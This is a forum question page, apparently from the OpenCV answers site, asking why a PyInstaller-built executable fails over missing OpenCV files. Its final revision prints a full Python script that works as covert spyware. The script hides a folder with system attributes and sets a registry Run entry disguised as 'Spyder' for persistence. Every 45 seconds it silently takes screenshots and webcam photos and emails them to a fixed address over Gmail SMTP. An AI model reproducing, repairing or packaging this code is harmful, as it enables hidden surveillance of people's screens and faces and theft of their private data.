Ask Your Question

Revision history [back]

click to hide/show revision 1
initial version

Got fatal error running opencv program

I have written a python script that takes screenshot of the screen and takes picture from webcam and send it to my email address. For taking screenshot I have use pyautogui module and for taking webcam picture I have use cv2 module. After writing my program I compiled my script with pyinstaller and ran .exe file to my other machine where there is no python, pyinstaller, cv2 installed I got Fatal Error Failed to execute . I opened issue in pyinstaller but they told me that opencv is the culprit. They have also told me that I have not added file that opencv needs. But I don't know which files do OpenCv needs so that I can compile my script correctly.

Script

Link to source code of my script

Suggestion got from pyinstaller github

This means that there is something wrong with OpenCV - you most likely haven't added files that OpenCV needs. An answer to the question states that the path variable was incorrect, so you will most likely need to pack the files that OpenCV was looking for using the path variable.

Do I need to any any .dlls or any files that OpenCV needs so that I compile my script correctly?

click to hide/show revision 2
retagged

updated 2018-09-07 23:01:09 -0600

berak gravatar image

Got fatal error running opencv program

I have written a python script that takes screenshot of the screen and takes picture from webcam and send it to my email address. For taking screenshot I have use pyautogui module and for taking webcam picture I have use cv2 module. After writing my program I compiled my script with pyinstaller and ran .exe file to my other machine where there is no python, pyinstaller, cv2 installed I got Fatal Error Failed to execute . I opened issue in pyinstaller but they told me that opencv is the culprit. They have also told me that I have not added file that opencv needs. But I don't know which files do OpenCv needs so that I can compile my script correctly.

Script

Link to source code of my script

Suggestion got from pyinstaller github

This means that there is something wrong with OpenCV - you most likely haven't added files that OpenCV needs. An answer to the question states that the path variable was incorrect, so you will most likely need to pack the files that OpenCV was looking for using the path variable.

Do I need to any any .dlls or any files that OpenCV needs so that I compile my script correctly?

Got fatal error running opencv program

I have written a python script that takes screenshot of the screen and takes picture from webcam and send it to my email address. For taking screenshot I have use pyautogui module and for taking webcam picture I have use cv2 module. After writing my program I compiled my script with pyinstaller and ran .exe file to my other machine where there is no python, pyinstaller, cv2 installed I got Fatal Error Failed to execute . I opened issue in pyinstaller but they told me that opencv is the culprit. They have also told me that I have not added file that opencv needs. But I don't know which files do OpenCv needs so that I can compile my script correctly.

Script

Link to source code of my script

import os
import cv2
import time
import numpy
import scipy
import string
import random
import smtplib
import _winreg
import requests
import pyautogui
import subprocess
from email import Encoders
from email.MIMEBase import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication



fromadd = '[email protected]'
toadd = '[email protected]'
password = 'password'



def is_at_startup():

    areg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)

    try:
        akey = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spyder.exe', 0, _winreg.KEY_WRITE)
        areg.Close()
        akey.Close()

    except WindowsError:

        key = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_SET_VALUE)
        _winreg.SetValueEx(key, 'Spyder', 0, _winreg.REG_SZ, 'C:\Program Files (x86)\Spyder\Spyder.exe')

        areg.Close()
        key.Close()



def naming():

    global name
    global clock
    global webcam_name
    global screenshot_name

    name = ''

    for i in range(20):
        x = random.randint(0, 61)
        name += string.printable[x]

    clock = time.ctime().replace(':', '-')
    screenshot_name = clock + ' _Screenshot_ ' + name + '.jpg'
    webcam_name = clock + ' _Webcam_ ' + name + '.jpg'



def make_folder():

    if os.path.exists(os.path.join('C:' + os.sep, 'root')) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')) and os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) and os.path.exists(os.path.join(r'C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)


    if os.path.exists(os.path.join('C:' + os.sep, 'root')):
        pass


    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
        pass


    if os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
        pass


    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        pass

    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        pass


    if not os.path.exists(os.path.join('C:' + os.sep, 'root')):
        os.mkdir(os.path.join('C:' + os.sep, 'root'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))

        subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))


    if not os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))



def is_internet():

    try:
        requests.get("http://www.google.com")
        return True

    except requests.ConnectionError:
        return False



def login():

    global msg

    sessions = smtplib.SMTP('smtp.gmail.com', '587')
    sessions.ehlo()
    sessions.starttls()
    sessions.ehlo()
    sessions.login(fromadd, password)
    sessions.sendmail(fromadd, toadd, msg.as_string())
    sessions.quit()

    msg = MIMEMultipart()



def capturing():

    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))

    screenshot = pyautogui.screenshot()
    screenshot.save(screenshot_name)   

    cam = cv2.VideoCapture(cv2.CAP_DSHOW)
    ret, frame = cam.read()
    cv2.imwrite(webcam_name, frame)
    cam.release()
    cv2.destroyAllWindows()



def no_internet_screenshot():
    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
    screenshot = pyautogui.screenshot()
    screenshot.save(screenshot_name)



def no_internet_webcam():
    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))

    cam = cv2.VideoCapture(cv2.CAP_DSHOW)
    ret, frame = cam.read()
    cv2.imwrite(webcam_name, frame)
    cam.release()
    cv2.destroyAllWindows()



def send_mail(fromadd, toadd):

    global msg

    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Screenshot & Webcam  - Internet Connection'

    screenshot_data = open(screenshot_name, 'rb').read()
    webcam_data = open(webcam_name, 'rb').read()

    send_screenshot = MIMEImage(screenshot_data, name=os.path.basename(screenshot_name))
    send_webcam_pic = MIMEImage(webcam_data, name=os.path.basename(webcam_name))

    msg.attach(send_screenshot)
    msg.attach(send_webcam_pic)

    if is_internet():
        login()

        for f in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
            os.remove(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet', f))



def no_internet_sending_screenshot(fromadd, toadd):

    global msg
    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Screenshot  - No Internet'

    screenshot_path = []
    del_path = []
    screenshot_num = 0

    for screenshot_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Screenshot' + os.sep, screenshot_image)
        screenshot_path.append(abs_path)

    while len(screenshot_path) > 0:
        if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')) > 0:
            for screenshot_img in screenshot_path:
                if len(screenshot_path) > 100:
                    part = MIMEBase('application', 'octet-stream')
                    part.set_payload(open(screenshot_img, 'rb').read())
                    Encoders.encode_base64(part)
                    part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
                    msg.attach(part)

                    del_path.append(screenshot_img)
                    screenshot_num += 1

                    if screenshot_num == 100:
                        login()

                        capturing()
                        send_mail(fromadd, toadd)

                        for dlt in del_path:
                            screenshot_path.remove(dlt)
                            os.remove(dlt)

                        del_path = []

                        screenshot_num = 0

                else:
                    for screenshot_img in screenshot_path:
                        part = MIMEBase('application', 'octet-stream')
                        part.set_payload(open(screenshot_img, 'rb').read())
                        Encoders.encode_base64(part)
                        part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
                        msg.attach(part)

                        del_path.append(screenshot_img)
                        screenshot_num += 1

                        if screenshot_num == len(screenshot_path):
                            login()

                            capturing()
                            send_mail(fromadd, toadd)

                            for dlt in del_path:
                                screenshot_path.remove(dlt)
                                os.remove(dlt)

                            del_path = []

        else:
            break


def no_internet_sending_webcam(fromadd, toadd):

    global msg
    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Webcam pic  - No Internet'

    webcam_path = []
    del_path = []
    webcam_num = 0

    for webcam_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Webcam' + os.sep, webcam_image)
        webcam_path.append(abs_path)

    while len(webcam_path) > 0:
        if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) > 0:
            for webcam_img in webcam_path:
                if len(webcam_path) > 100:
                    part = MIMEBase('application', 'octet-stream')
                    part.set_payload(open(webcam_img, 'rb').read())
                    Encoders.encode_base64(part)
                    part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
                    msg.attach(part)

                    del_path.append(webcam_img)
                    webcam_num += 1

                    if webcam_num == 100:
                        login()

                        capturing()
                        send_mail(fromadd, toadd)

                        for dlt in del_path:
                            webcam_path.remove(dlt)
                            os.remove(dlt)

                        del_path = []

                        webcam_num = 0

                else:
                    for webcam_img in webcam_path:
                        part = MIMEBase('application', 'octet-stream')
                        part.set_payload(open(webcam_img, 'rb').read())
                        Encoders.encode_base64(part)
                        part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
                        msg.attach(part)

                        del_path.append(webcam_img)
                        webcam_num += 1

                        if webcam_num == len(webcam_path):
                            login()

                            capturing()
                            send_mail(fromadd, toadd)

                            for dlt in del_path:
                                webcam_path.remove(dlt)
                                os.remove(dlt)

                            del_path = []

        else:
            break


def main():

    is_at_startup()
    make_folder()

    while True:

        naming()

        if is_internet():

            no_internet_sending_screenshot(fromadd, toadd)
            no_internet_sending_webcam(fromadd, toadd)

            capturing()
            send_mail(fromadd, toadd)

            time.sleep(45)


        else:

            no_internet_screenshot()
            no_internet_webcam()

            time.sleep(45)


if __name__ == '__main__':
    main()

Suggestion got from pyinstaller github

This means that there is something wrong with OpenCV - you most likely haven't added files that OpenCV needs. An answer to the question states that the path variable was incorrect, so you will most likely need to pack the files that OpenCV was looking for using the path variable.

Do I need to any any .dlls or any files that OpenCV needs so that I compile my script correctly?